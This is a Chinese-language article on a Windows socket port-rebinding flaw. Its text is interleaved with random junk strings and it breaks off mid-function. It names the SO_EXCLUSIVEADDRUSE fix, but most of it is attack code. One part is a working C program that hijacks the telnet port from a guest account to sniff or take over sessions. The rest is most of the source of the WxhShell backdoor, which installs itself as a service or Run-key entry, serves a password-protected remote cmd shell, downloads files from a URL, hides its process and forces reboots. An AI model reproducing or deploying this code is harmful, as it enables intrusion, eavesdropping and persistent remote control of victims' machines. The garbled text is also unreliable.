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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2{-'`lfM% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); % wh>_Ho ,09d"7`X
saddr.sin_family = AF_INET; =Wl}Pgo! fh}j)*K8 saddr.sin_addr.s_addr = htonl(INADDR_ANY); X>rv{@K bL K1fnHpK bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -Wl79lE H?'t>JX 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 U\tujK1 )u5+<OG}= 这意味着什么?意味着可以进行如下的攻击: PPj0LFA f.u+({"ql 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^Hv4t _i1x\Z~
N 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) kT{d pGU9 f!##R-A 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8>V)SAI' 9GVv[/NAb 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 C%kIxa) @EB2I+[ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z;GZ?NOlY h-RL`X 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 | <l=i( R;2
Z~P 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M!b"c4|< =(>pv, #include ;*8,PV0b_< #include mA']*)L1 #include I> 3]VRi #include p EbyQ[ DWORD WINAPI ClientThread(LPVOID lpParam); S9S%7pE int main() xy1R_*.F^T { VpmD1YSn WORD wVersionRequested; G>c:+`KS DWORD ret; ,hXhcfFl WSADATA wsaData; Ln5g"g8gb% BOOL val; $"]*,=-X SOCKADDR_IN saddr; AtW<e;!0te SOCKADDR_IN scaddr; W%^;:YQ9i int err; K)r|oW=6Y SOCKET s; +HNM$yp SOCKET sc; $/;;}|hqi int caddsize; InR/g@n+D1 HANDLE mt; d,caO E8N DWORD tid; JQ]A"xTIa* wVersionRequested = MAKEWORD( 2, 2 ); WkR=(dss8 err = WSAStartup( wVersionRequested, &wsaData ); 924a1
if ( err != 0 ) { H)O I&? printf("error!WSAStartup failed!\n"); yMbg1+:
return -1; ,[<+7 } @a}jnl(2 saddr.sin_family = AF_INET; n|f Huv )wueR5P //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E(G&mfhb $fl+l5?9 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); a EmLf saddr.sin_port = htons(23); ,fW%Qv if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ORP-@-dap { lr_c printf("error!socket failed!\n"); P+t`Rw return -1; JE.s?k } |(\T;~7' val = TRUE; @fG'X
//SO_REUSEADDR选项就是可以实现端口重绑定的 ?hS&OtW
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c.eA]m q { fjm(C#^- printf("error!setsockopt failed!\n"); %?z8*G]M return -1; YPNG9^Y } &pZncm //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; RYuR&0_{ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zyi;vu //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w_]`)$9 p? L*vcU if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k]9v${Ke { 'WQ?%da ret=GetLastError(); 8rY[Q(] printf("error!bind failed!\n"); {<1 ]cP return -1; y$C\b\hM } ErXzKf listen(s,2); u</LgOP`- while(1) <P1yA>=3` { :M
_N caddsize = sizeof(scaddr); 8%Hc%T[RnT //接受连接请求 lLi)? sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K)[DA*W if(sc!=INVALID_SOCKET) %{HeXe { DA wUG mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $Cx ?%X^b if(mt==NULL) GjH$!P=. { Ny2. C?2 printf("Thread Creat Failed!\n"); pW4$$2S?9 break; /U5!]7&gB } >#~>!cv6D } YwnYTt CloseHandle(mt); oZwu`~h Y } @K=C`N_22 closesocket(s); GZWU=TC2{2 WSACleanup(); GW;O35
m return 0; #4BwYj(Sl } NY3.?@Z DWORD WINAPI ClientThread(LPVOID lpParam) "1HKD { qe<aJn SOCKET ss = (SOCKET)lpParam; r:-,qy SOCKET sc; %"CF-K@th unsigned char buf[4096]; Hx#1TqC/ SOCKADDR_IN saddr; yHYK,3/C, long num; ,,HoD~]rd DWORD val; f1,VbuS9I DWORD ret; BOdd~f%&tn //如果是隐藏端口应用的话,可以在此处加一些判断 OD;F{Hc //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 xh|<`>5 saddr.sin_family = AF_INET; &UfP8GE9 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); RBOg;EJ saddr.sin_port = htons(23); iV2v<ap.n if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !\Vc#dslt { (utk) printf("error!socket failed!\n"); g?E8zf ` return -1; F0x'^Z}Q; } 8]j*z n?, val = 100; 3}kG ]# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q@[UeXu?pZ { _2
oZhJ ret = GetLastError(); s&7TARd return -1; DrA\-G_7 } ( we)0AxF' if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;fe~PPT { 0"J0JcFX ret = GetLastError(); dwJnPJ=z return -1; </]a`h] } #sM`>KG6T1 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) / ?Hq { x@#aOf4<U printf("error!socket connect failed!\n"); zw[ #B # closesocket(sc); as3*49^9 closesocket(ss); ;:obg/;uJ return -1; jG["#5<? } H[2W(q6 while(1) %Hu?syo { AjD?_DPc //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,s`4k?y //如果是嗅探内容的话,可以再此处进行内容分析和记录 P"f4`q
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -an~&C5\ num = recv(ss,buf,4096,0);
!U=o<)I if(num>0) l/-qVAd!q send(sc,buf,num,0); wQX18aF/#d else if(num==0) ~CuJ$(9Y break; R4vf num = recv(sc,buf,4096,0); YHzP/&0 if(num>0) U%)-_
*`z send(ss,buf,num,0); =*{Ii]D else if(num==0) k&lfxb9pd break; ^C'{# p" } Qo\?(EM closesocket(ss); "</A)y& closesocket(sc); T^Ol=QCu return 0 ; #
11<=3Yj } H5Bh?mw2 RA1K$D ?A nxMZd=Y ========================================================== BU.O[?@64 :!yPR 下边附上一个代码,,WXhSHELL ~s*kuj'%+ &}r-C97 ========================================================== qs{wrem >|aVGY #include "stdafx.h" 0+T:};] aGNbCm #include <stdio.h> -QK- w> #include <string.h> #'dNSez5 #include <windows.h> ]Z?jo#F #include <winsock2.h> .z[#j]k #include <winsvc.h> S!66t?vHB #include <urlmon.h> EV@yJ] I,W`s #pragma comment (lib, "Ws2_32.lib") dkg|
kw' #pragma comment (lib, "urlmon.lib") uCoy~kt292 ny:/a #define MAX_USER 100 // 最大客户端连接数 \aN7[>R.Q #define BUF_SOCK 200 // sock buffer 9[R+m3V/` #define KEY_BUFF 255 // 输入 buffer rvuasr~ =q}Z2 OoYh #define REBOOT 0 // 重启 Rj3ad 3z'E #define SHUTDOWN 1 // 关机 KAgxIz!^-1 |$g} &P8; #define DEF_PORT 5000 // 监听端口 *!pn6OJ"Q} OwPXQ 3S #define REG_LEN 16 // 注册表键长度 Jl<pWjkZZ #define SVC_LEN 80 // NT服务名长度 P*n/qj8h o8Yq3N + // 从dll定义API :7~DiH:Q
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mVEIHzk2b typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kD(#LM<9s typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \k{d'R#~( typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Mm;[f'{M) 3&6sQ-}* // wxhshell配置信息 "}vxHN# struct WSCFG { *7w!~mn[m int ws_port; // 监听端口 !v8](UI8- char ws_passstr[REG_LEN]; // 口令 qu&p)*M5 int ws_autoins; // 安装标记, 1=yes 0=no md `=2l char ws_regname[REG_LEN]; // 注册表键名 zkquXzlgB char ws_svcname[REG_LEN]; // 服务名 >qBJK)LHOv char ws_svcdisp[SVC_LEN]; // 服务显示名 .03Rp5+v char ws_svcdesc[SVC_LEN]; // 服务描述信息 tUt_Q;%yC char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p3>Md?e int ws_downexe; // 下载执行标记, 1=yes 0=no D#A6s32a char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" r
uIgo B char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Nt\0) &b a"`>J! }; WL?qulC}h1 }0?XF/e(R // default Wxhshell configuration c
dWg_WBC struct WSCFG wscfg={DEF_PORT, OZA^L;#> "xuhuanlingzhe", V"B/4v> 1, )2Bb,p<Wr "Wxhshell", H>o \C "Wxhshell", %|j8#09 "WxhShell Service", A/{!w"G "Wrsky Windows CmdShell Service", p[&b@U# "Please Input Your Password: ", oJQ
\?~ 1, z;MPp#Y " http://www.wrsky.com/wxhshell.exe", D8{,}@ "Wxhshell.exe" M2\c0^R }; wbvOf X ksTK'7* // 消息定义模块 34Cnbtq^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HYL['B?Wid char *msg_ws_prompt="\n\r? for help\n\r#>"; 8/T,{J\ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; SSq4KFO1 char *msg_ws_ext="\n\rExit."; {T-^xwc char *msg_ws_end="\n\rQuit."; E]}_hZU char *msg_ws_boot="\n\rReboot..."; t1G__5wp char *msg_ws_poff="\n\rShutdown..."; M|Nh(kvH char *msg_ws_down="\n\rSave to "; 9kB R /{ A!Tm[oqu char *msg_ws_err="\n\rErr!"; *(qj!U43 char *msg_ws_ok="\n\rOK!"; zXU
g( xu @vB-.XU char ExeFile[MAX_PATH]; jz]}%O int nUser = 0; `<kB/T HANDLE handles[MAX_USER]; $E.Fgy:G int OsIsNt; mi.,Z`]o 94^b"hU SERVICE_STATUS serviceStatus; 7&9w_iCkV SERVICE_STATUS_HANDLE hServiceStatusHandle; CO9PQ`9+ ?rA3<j // 函数声明 Eg8b|!-')8 int Install(void); i"xV=. int Uninstall(void); ,FXc_BCx4 int DownloadFile(char *sURL, SOCKET wsh); !zvOCAb, int Boot(int flag); K|l}+:k void HideProc(void); .6C6ZUB; int GetOsVer(void); _]- 4UA- int Wxhshell(SOCKET wsl); 3,K\ZUU., void TalkWithClient(void *cs); A7,%'.k int CmdShell(SOCKET sock); BzS\p3& int StartFromService(void); s 0_*^cZ int StartWxhshell(LPSTR lpCmdLine); (> _Lb |rG)Q0H, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )EQz9 VOID WINAPI NTServiceHandler( DWORD fdwControl ); v~yw-}fk% 'MBXk2?b // 数据结构和表定义 w/"vf3}(9 SERVICE_TABLE_ENTRY DispatchTable[] = \.}ZvM$ { ^b|I^TN0 {wscfg.ws_svcname, NTServiceMain}, =<7z
:] {NULL, NULL} |a
a\t }; Xs# _AX JWYe~ // 自我安装 J@"UFL'^ int Install(void) ,RM8D)m\ { *8uS,s6g char svExeFile[MAX_PATH]; ecQ{ePoU HKEY key; r
d-yqdJ strcpy(svExeFile,ExeFile); R\XS5HOE( P3n#s2o6y // 如果是win9x系统,修改注册表设为自启动 )<{u
oH if(!OsIsNt) { .9WOTti if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dJ#go*Gn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wy
.96 RegCloseKey(key); LokH4A17U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J3~%9MCJ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j7QK8O$XL RegCloseKey(key); 4/k`gT4 return 0; &3;"$P }
D~BL Txq } 4c95G^dZ } ;']u}Nh else { 2K{'F1"RM _x1W\# // 如果是NT以上系统,安装为系统服务 /CMgWGI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l
U8pX$ if (schSCManager!=0) @;$cX2 { :CK`v6 Qs SC_HANDLE schService = CreateService S89j:KRXH% ( 3 o$zT9j schSCManager, +RJKJ:W wscfg.ws_svcname, WJu(,zM?G wscfg.ws_svcdisp, 5S2 j5M00 SERVICE_ALL_ACCESS, ]z5hTY SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rMHh!)^#W SERVICE_AUTO_START, 9(OeH7 SERVICE_ERROR_NORMAL, T/2k2r4PD svExeFile, ]jC{o,?s NULL, h# KSKKNW NULL, bmK NULL, 4L ]4WVc NULL, `GW&*[.7 NULL XzSl"U PYH ); @eeI4Jz if (schService!=0) U,Uy0s2r { od5nRb CloseServiceHandle(schService); m;\nMdn CloseServiceHandle(schSCManager); jf`w8*R strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qg=`=]j strcat(svExeFile,wscfg.ws_svcname); {?Y\T if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r5ldK?=k+* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [DDe}D3C RegCloseKey(key); /RMtCa~ return 0; 4H%#Sn#L^! } /*{'p!? } <5}I6R; CloseServiceHandle(schSCManager); ygj%VG } U~)5 { } :9ia|lN
HR"clD\{Di return 1; 0kj5r*qA } 2uN3:_w ^|p D(v // 自我卸载 bGL} nPo int Uninstall(void) J`)/\9'&& { +6$+]u] HKEY key; O8b#'f~ cW_wIy\]& if(!OsIsNt) { i%.k{MY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f=}T^Z< RegDeleteValue(key,wscfg.ws_regname); aJf3rHX RegCloseKey(key); %K')_NS@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n44 T4q RegDeleteValue(key,wscfg.ws_regname); EyVu-4L:# RegCloseKey(key); m BFNg3_ return 0; kP+,x H)1 } /;+\6(+X } 3@\/5I xn } e)B1)c 8s else { B>>_t2IU 8 yi#] 5`Q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dm[cl~[
Q if (schSCManager!=0) >'W,8F { R:&y@/JY8[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]xMZo){[| if (schService!=0) z9 Ch %A{ { ^h2+"" if(DeleteService(schService)!=0) { 3^%2, CloseServiceHandle(schService); ,7bhUE/VB CloseServiceHandle(schSCManager); %L-qAI&V return 0; /CO=!*7fz
} L&)e}" CloseServiceHandle(schService); aVK,(j9u } K$,<<hl CloseServiceHandle(schSCManager); mz%l4w?' } }q]*aADe } }A@:JR+|
W)bSLD return 1; f3G:J<cL } BKtb@o~( {[tmz;C // 从指定url下载文件 yP# Y:s int DownloadFile(char *sURL, SOCKET wsh) .U=x2txb { LEPTL#WT1 HRESULT hr; H=,>-eVv* char seps[]= "/"; xok
T char *token; f4\$<g/~ char *file; jY%.t)>) char myURL[MAX_PATH]; au+Jz_$) char myFILE[MAX_PATH]; A :KZyd"Z SO *oBA' strcpy(myURL,sURL); =TNFAt token=strtok(myURL,seps); HM0&% while(token!=NULL) WwTl|wgvyI { M>m!\bb%. file=token; [pEb`s token=strtok(NULL,seps); ()Kaxcs?+ } kN1R8| pv "*D9.LyM GetCurrentDirectory(MAX_PATH,myFILE); {+_p?8X strcat(myFILE, "\\"); g$#A'Du strcat(myFILE, file); ~mt{j7 send(wsh,myFILE,strlen(myFILE),0); 48^C+#Jbc send(wsh,"...",3,0); Vf~-v$YI hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '}(>s%~ if(hr==S_OK) Miw=2F return 0; !ITM:% else c}n66qJF5 return 1; OYt_i'Q >'q]ypA1
} L-E?1qhP> #`gX(C> // 系统电源模块 ~K #92 int Boot(int flag) R,78}7B { qOy(dG g HANDLE hToken; us?q^>u TOKEN_PRIVILEGES tkp; DoFe:+_U3 K) if(OsIsNt) { qGH[kd OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )@I] Rk? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +C7E]0!r tkp.PrivilegeCount = 1; }JST(d& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N atC}k AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v5\ALWy+p if(flag==REBOOT) { GB}\ 7a if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HAI)+J return 0; \8<[P(!3 } 2HBey else { eq%cRd]u if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xS%&l)dT return 0; Io JI|lP } 0lniu=xmQ- } 8g)$%Fy+N else { zF^H*H if(flag==REBOOT) { .hxFFk%5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v&;JVai return 0; 5lD`qY } YHom9&A else { }]dzY( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1+-Go}I return 0; Kgi`@` } t^K Qv~ } iR9duP+ xg,
9~f[ return 1; ob/<;SrU< } @.a59kP8X mD% qDKI // win9x进程隐藏模块 ZDzG8E0Sq void HideProc(void) ]?T^tJ { Hpz1Iy@ ZG1TRF " HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^pu8\K;~ if ( hKernel != NULL ) w<THPFFF" { P3W3+pwq pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ig?9"{9p ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *a\x!c" FreeLibrary(hKernel); q:M'|5P } D`[@7$t l$j~p=S$F return; X6Z/xb@ } q { > O?<? // 获取操作系统版本 .YvIVQ int GetOsVer(void) {na>)qzKP { VhLfSN>W OSVERSIONINFO winfo; q]pHD})O winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @|"K"j# GetVersionEx(&winfo); n+&8Uk if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P(I%9 return 1;
Ws2?sn#x else vs+aUT C\ return 0; ^CQp5k p] } `5oXf 2i#Ekon // 客户端句柄模块 ?o6#i 3k#' int Wxhshell(SOCKET wsl) eB9&HD: { zBq&/? SOCKET wsh; A7#nBHwxZ struct sockaddr_in client; Y=Ic<WHR DWORD myID; ^fO9oPM| KwaxNb5 while(nUser<MAX_USER) ztHx)
! { }BT0dKx int nSize=sizeof(client); 0/|Ax-dK wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sl@>GbnS if(wsh==INVALID_SOCKET) return 1; 4HZXv\$ 2#yDVN$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N$t<&5+ if(handles[nUser]==0) pN9U1!|uam closesocket(wsh); LcA7f'GVK else
<6;@@ nUser++; >0iCQKq } #b)`as?!1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |N6.:K[` IIGx+> return 0; \Ezcr=0z{j } 3rHn? ' e!WZvr // 关闭 socket M6A0D+08 void CloseIt(SOCKET wsh)
tmBt[ { kd"nBb= closesocket(wsh); F/LMk8RgR nUser--; G `3{Q7k ExitThread(0); +!ljq~% } n,s7!z/ 4,R"(ej // 客户端请求句柄 *CQZ6&^ void TalkWithClient(void *cs) xj8z*fC; { qgfP6W$ !fe_w5S^ SOCKET wsh=(SOCKET)cs; @^ &p$: char pwd[SVC_LEN]; aY.cx1" char cmd[KEY_BUFF]; w8$>
2 char chr[1]; `bV&n!Y_ int i,j; .)WEg|D0Ku (xTGt",_Jo while (nUser < MAX_USER) { X}x\n\Z t\YM Hq<Y if(wscfg.ws_passstr) { 9I<~t@q5e@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }!Pty25j //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); umnQ$y
0 //ZeroMemory(pwd,KEY_BUFF); =w`uZ;l$Q i=0; w 2U302TZ while(i<SVC_LEN) { n`w]? bL Pe\Obd8d // 设置超时 2T?Y fd_set FdRead; A*/8j\{n struct timeval TimeOut; LxWd_B FD_ZERO(&FdRead); c1a$J` FD_SET(wsh,&FdRead); a-FI`Dv TimeOut.tv_sec=8; -nHkO&&R TimeOut.tv_usec=0; gzKMGL?%? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S!gzmkGcj if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [iO8R-N8d eGpKoq7a if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #+U1QOsz pwd =chr[0]; 1$C?+H if(chr[0]==0xd || chr[0]==0xa) { zv/dj04> pwd=0; ]s)Y">6 break; oqbz!dM(Z } f2M*]{N i++; 0m> 8 } ]i0=3H2 U~?mW,iRL // 如果是非法用户,关闭 socket 6=,zkU*i^ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -$g~,dIwj } #6D>e~>n 9v-Y*\!w. send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /~;!Ew|q send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kkb+qo J}8p}8eF, while(1) { O(=9&PRi ]&D=*:c ZeroMemory(cmd,KEY_BUFF); -Edy ~;_ Dic|n@_Fy // 自动支持客户端 telnet标准 HYT~AO-! j=0; i_r708ep6 while(j<KEY_BUFF) { jpZq]E9`P if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '
i5KRFy- cmd[j]=chr[0]; $YY{|8@kjv if(chr[0]==0xa || chr[0]==0xd) { 4<E <sD cmd[j]=0; m`q&[: break; ewdTsgt' } L%\Wt1\[ j++; iOb7g@= } 0#uB[N )wD/<7; // 下载文件 _
gYj@
% if(strstr(cmd,"http://")) { _Ds,91<muQ send(wsh,msg_ws_down,strlen(msg_ws_down),0); y`7<c5zD if(DownloadFile(cmd,wsh)) X2%(=B send(wsh,msg_ws_err,strlen(msg_ws_err),0); ohe[rV>EX else ao .vB']T send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a.?U$F } SVd@-
'-K else { ]'Ho)Q OUGkam0UK switch(cmd[0]) { ;]>)6 ]W2#8:i // 帮助 z8{-I@+` case '?': { VEIct{ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &s?uMWR break; 5}]+|d; } [ @"6:tTU // 安装 .%.7~Nu, case 'i': { SVn@q|N if(Install()) hp9LV2_5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7(tsmP else .{`C>/"} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5%fWX'mS break; _JNYvngm } r`EjD}2d // 卸载 >s"/uo case 'r': { fvi0gE@bd if(Uninstall()) 6\K\d_x send(wsh,msg_ws_err,strlen(msg_ws_err),0); h:?qd else y6[ le*T send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]plp.f#av break; Ab j7 } .S/zxf~h // 显示 wxhshell 所在路径 0}`-vOLd- case 'p': { ##xvuLy-6 char svExeFile[MAX_PATH]; Z~-N'Lt{ strcpy(svExeFile,"\n\r"); Y(kf<Wo strcat(svExeFile,ExeFile); >.K%W*t send(wsh,svExeFile,strlen(svExeFile),0); A]i!131{w| break; ' F9gp!s8~ } SN L-6]j // 重启 2;
,8 u case 'b': { &}2@pu[S?7 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >,3 uu}s if(Boot(REBOOT)) c6c@XdV send(wsh,msg_ws_err,strlen(msg_ws_err),0); o}/|"(K else { Ma$~B0!;s closesocket(wsh); l*&N<Yu ExitThread(0); "qR, V9\ } S!z3$@o break; J+
S]Qoz } rQ]JM // 关机 F4z#u2~TC case 'd': { Vym0|cW send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w"dKOdY if(Boot(SHUTDOWN)) ~ *"iLf@, send(wsh,msg_ws_err,strlen(msg_ws_err),0); =QtFJ9\ else { V|sV U closesocket(wsh); Q{950$)L ExitThread(0); gSw<C+ } zixG}' break; KT<$E!@ } h{ix$Xn~ // 获取shell @d 7V@F0d case 's': { \'Et)uD* CmdShell(wsh); Ow4(1eE_ closesocket(wsh); Gvh"3|u?z ExitThread(0); /P TRe5-7 break; W9tZX5V1 } Mkk.8AjC| // 退出 _[Imwu} case 'x': { a4 N f\7 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !Pnjr T CloseIt(wsh); ! {G0' break; l}VE8-XB } ^4"AWps // 离开 Q]N&^ E case 'q': { =|IlORf< send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0D@ $ closesocket(wsh); -/{FGbpR; WSACleanup(); YJ"D"QD exit(1); .yXqa"p break; >Q=^X3to } 2 Kjd!~Z$ } pUqC88*j } =%IyR 1a{r1([) // 提示信息 At=d//5FFP if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H#;*kc
a4 } GK'p$`oJm } LPJ7V`!k eeCG#NFY5 return; mi Q*enZi } =NC??e { *4`5&) ` // shell模块句柄 AK&>3D int CmdShell(SOCKET sock) I]e+5 E0 { ;]=w6'dP! STARTUPINFO si; [F+W]Jk, ZeroMemory(&si,sizeof(si)); Zc1x"j si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; si6CWsb_ f si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HFy9b|pjy PROCESS_INFORMATION ProcessInfo; 1r$-U h char cmdline[]="cmd"; iUR ij@ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YFB>GQ; return 0; pl&nr7\ } ur'<8pDb$ Kh$"5dy // 自身启动模式 #Iz)Mu int StartFromService(void) J}xM+l7uY { {E Ay~lo typedef struct H2R3I<j { ;Hk3y+&]a DWORD ExitStatus; (wZ!OLY%} DWORD PebBaseAddress; qovsM M DWORD AffinityMask; rn*'[i? DWORD BasePriority; ,*6K3/kW ULONG UniqueProcessId; l|gi2~ %Y ULONG InheritedFromUniqueProcessId; 5<ruN11G } PROCESS_BASIC_INFORMATION; k B]`py! L7 }nmP>aR PROCNTQSIP NtQueryInformationProcess; Hm'"I!jyO L@(. i static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nI6ompTX static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fS4W*P[B3 }BlyEcw'aN HANDLE hProcess; r4*H96l PROCESS_BASIC_INFORMATION pbi; `K.B` C'$}{%Cc@$ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'A:Y&w"r if(NULL == hInst ) return 0; :\"0jQ.y| G'/GDN^j g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst 